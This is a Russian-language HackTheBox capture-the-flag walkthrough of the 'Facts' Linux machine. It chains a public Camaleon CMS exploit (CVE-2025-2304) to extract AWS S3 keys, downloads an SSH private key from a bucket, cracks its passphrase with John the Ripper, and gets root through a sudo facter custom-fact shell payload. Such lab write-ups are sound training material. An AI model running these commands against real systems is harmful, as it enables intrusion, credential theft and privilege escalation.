
HackTheBox — Facts (Лёгкий/Linux) | CVE-2025-2304 + AWS S3 + SSH Key + Facter PrivEsc
Facts — это простая Linux-машина, для взлома которой требуется эксплуатация известной уязвимости
(CVE-2025-2304) в Camaleon CMS для извлечения локальных учетных данных AWS S3.
Перебор внутренних S3-корзин выявляет закрытый ключ SSH, который необходимо взломать с помощью John the Ripper для получения первоначального доступа.
Повышение привилегий достигается за счет использования неправильной конфигурации sudo на /usr/bin/facter, что позволяет выполнить произвольный код на Ruby для получения root-оболочки.
Цепочка атак: Nmap → Camaleon CMS (CVE-2025-2304) → Перебор S3-корзин → Взлом SSH-ключа → sudo facter → Root
Начнем со сканирования Nmap для выявления активных сервисов на целевой машине. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Результаты:
ПОРТ СОСТОЯНИЕ СЛУЖБА ВЕРСИЯ 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap показывает два открытых порта: 22 (SSH) и 80 (HTTP). Веб-сервер работает на Nginx. Прежде чем мы сможем правильно взаимодействовать с сайтом, нам нужно добавить хост facts.htb в наш файл /etc/hosts.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
При посещении сайта на порту 80 мы видим стандартную веб-страницу. Чтобы обнаружить скрытые пути, мы запускаем атаку перебора каталогов (например, с помощью ffuf или gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
Перебор выявляет несколько интересных каталогов, связанных с панелью администратора (/admin, /admin.php и т.д.), все они перенаправляют с кодом 302 на http://facts.htb/admin/login.

Посетив страницу входа и аутентифицировавшись (или взглянув на подвал панели), мы обнаруживаем технологию, стоящую за сайтом: Camaleon CMS.
Ключевая деталь привлекает наше внимание в правом нижнем углу: версия CMS — 2.9.0.

Зная, что сервер работает под управлением Camaleon CMS 2.9.0, быстрый поиск в Интернете приводит нас к обнаружению критической уязвимости, известной как CVE-2025-2304, которая позволяет повысить привилегии от аутентифицированного пользователя до администратора.
Мы находим публичный эксплойт на GitHub (созданный Alien0ne) и загружаем его на нашу атакующую машину.

Мы запускаем эксплойт, передав имеющиеся у нас учетные данные (например, mattia:mattia), чтобы повысить себя до администратора, извлечь конфиденциальную информацию, а затем вернуться к исходной роли, чтобы не оставить явных следов.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
Вывод эксплойта — золотая жила: он извлекает локальные учетные данные AWS S3 и внутреннюю конечную точку, используемую сервером.

С помощью этих ключей мы можем настроить наш локальный AWS CLI для взаимодействия с S3-сервисом, предоставленным машиной.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
Теперь мы можем вывести список доступных корзин, передав собственный URL конечной точки:
aws --endpoint-url http://facts.htb:54321 s3 ls
Мы находим две корзины: internal и randomfacts. Рекурсивно исследуя корзину internal, мы обнаруживаем папку .ssh, содержащую ключи!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Давайте загрузим файл id_ed25519 (закрытый ключ SSH) на нашу машину.
У нас есть закрытый ключ, но он защищен парольной фразой. Чтобы взломать его, мы воспользуемся набором John the Ripper. Сначала преобразуем ключ в формат, который может прочитать John, с помощью ssh2john:
ssh2john id_ed25519 > hash.txt
Затем запускаем атаку по словарю (используя собственный список слов my_guess.txt или классический rockyou.txt):
john --wordlist=my_guess.txt hash.txt
Пароль успешно взломан: dragonballz. Теперь у нас есть всё необходимое для доступа к серверу!

Теперь, когда у нас есть всё необходимое, мы можем воспользоваться вторым открытым портом, который нашли ранее: портом SSH (22).
ssh -i id_ed25519 [email protected]
Используем пароль, найденный ранее: dragonballz. Мы внутри!
Теперь нужно выяснить, какой путь можно использовать для получения доступа root, поэтому используем sudo -l.
Путь:
/usr/bin/facter
Для эксплуатации этого пути используем мини-скрипт:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
А затем выполним его:
sudo /usr/bin/facter --custom-dir=/tmp pwn

Мы официально root!!!
Теперь осталось только найти два флага :)

NMAP — 2 порта обнаружено (22, 80) ↓ Перебор веб-сайта — найден раздел администратора ↓ Camaleon CMS -> CVE-2025-2304 ↓ Эксплуатация + настройки AWS ↓ John the Ripper для хэша ↓ SSH-логин ↓ Sudo -l ↓ Скрипт + выполнение ↓ ROOT ✅